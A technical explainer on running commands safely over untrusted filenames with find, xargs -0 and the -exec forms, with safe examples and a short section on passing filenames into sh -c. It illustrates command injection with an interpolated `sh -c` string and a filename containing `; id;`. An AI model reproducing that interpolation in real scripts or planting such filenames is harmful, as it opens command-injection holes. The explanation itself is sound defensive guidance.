You need to run a command over every matching file in a tree that untrusted users can create files in. Compare `find . -type f | xargs cmd`, `find . -type f -print0 | xargs -0 cmd`, `find . -type f -exec cmd {} \;` and `find . -type f -exec cmd {} +`.

## The problem with a newline-delimited list A POSIX path may contain any byte except NUL and the `/` separator. Newline, space, tab, quote characters and leading dashes are all legal. So the moment a list of filenames travels through a line-oriented pipe, the encoding is lossy: the receiver cannot tell one file named `a\nb` from two files named `a` and `b`. In a directory untrusted users write to, producing that name is trivial. ## What plain xargs does `xargs` with no delimiter option is worse than "splits on newlines". Its default input format splits on any blank *or* newline, **and** it honours quoting: a single- or double-quoted run is taken as one argument, and a backslash escapes the next character. So real filenames misbehave in three ways: ``` quarterly report.pdf -> two arguments it's here.txt -> xargs: unmatched single quote back\slash.txt -> the backslash is eaten ``` It also has an argument-list limit and will silently start a second invocation of the command when the batch is full — fine for `rm`, surprising for a command that expects to see the whole set at once. ## The NUL-delimited form `find -print0` writes each path followed by a NUL byte, and `xargs -0` splits only on NUL and disables all quoting and escape processing. Because NUL cannot occur inside a path, the stream is unambiguous by construction. This is the reason the idiom exists — it is not a style preference. ```bash find /var/uploads -type f -name '*.tmp' -print0 | xargs -0 -r rm -- ``` `-r` (GNU: `--no-run-if-empty`) stops xargs invoking the command once with no arguments when the stream is empty; not every implementation needs it, but writing it costs nothing. Note that `-print0` and `-0` are widely implemented extensions rather than POSIX. ## The two -exec forms `-exec cmd {} \;` makes find call the command itself, once per match, passing the path as a single argument via the exec system call. No shell, no delimiter, no quoting question — it is completely safe with any filename. The cost is one process per file, which is real when the tree has a hundred thousand entries. `-exec cmd {} +` collects matches and appends as many as fit within the system's argument-length limit, running the command a handful of times instead. It is equally safe, is specified by POSIX, and needs no encode/decode step, because find hands the arguments straight to `execve`. The constraint is that `{}` must be the last thing before the `+`, so you cannot put arguments after the filename list. On exit status: with `\;` find reports failure of the command per invocation in its own exit status handling, and with `+` a nonzero command exit makes find exit nonzero — but neither aborts the traversal. If you need the pipeline to fail loudly, check explicitly rather than assuming a nonzero status propagates the way you want. ## When you genuinely need a shell per file Some work needs shell features — a redirection, a variable, a pipeline. Do **not** interpolate `{}` into a script string, because that puts the filename into shell syntax. Pass it as a positional parameter instead: ```bash find . -type f -name '*.log' -exec sh -c 'gzip -c -- "$1" > "$1.gz"' _ {} \; ``` The script text is a constant single-quoted literal, `_` fills `$0`, and each filename arrives as `$1` already parsed. Writing `sh -c "gzip {} "` instead would be a command-injection hole, because a file named `; id;` becomes commands. ## Choosing - Default to `-exec cmd {} +`: safe, batched, portable, no pipe. - Use `-print0 | xargs -0` when you want an xargs feature — notably `-P` for bounded parallelism, or `-n` to control batch size. - Use `-exec cmd {} \;` when the command must see exactly one file per run. - Never use the bare pipe into xargs on paths you did not generate yourself, and be aware that the same reasoning applies to `grep -Z`, `sort -z` and `read -d ''` when you build longer NUL-delimited pipelines. The underlying rule is one sentence: **keep filename boundaries out of band**. Every safe form above either never serialises the list at all (exec) or serialises it with a delimiter the data cannot contain (NUL).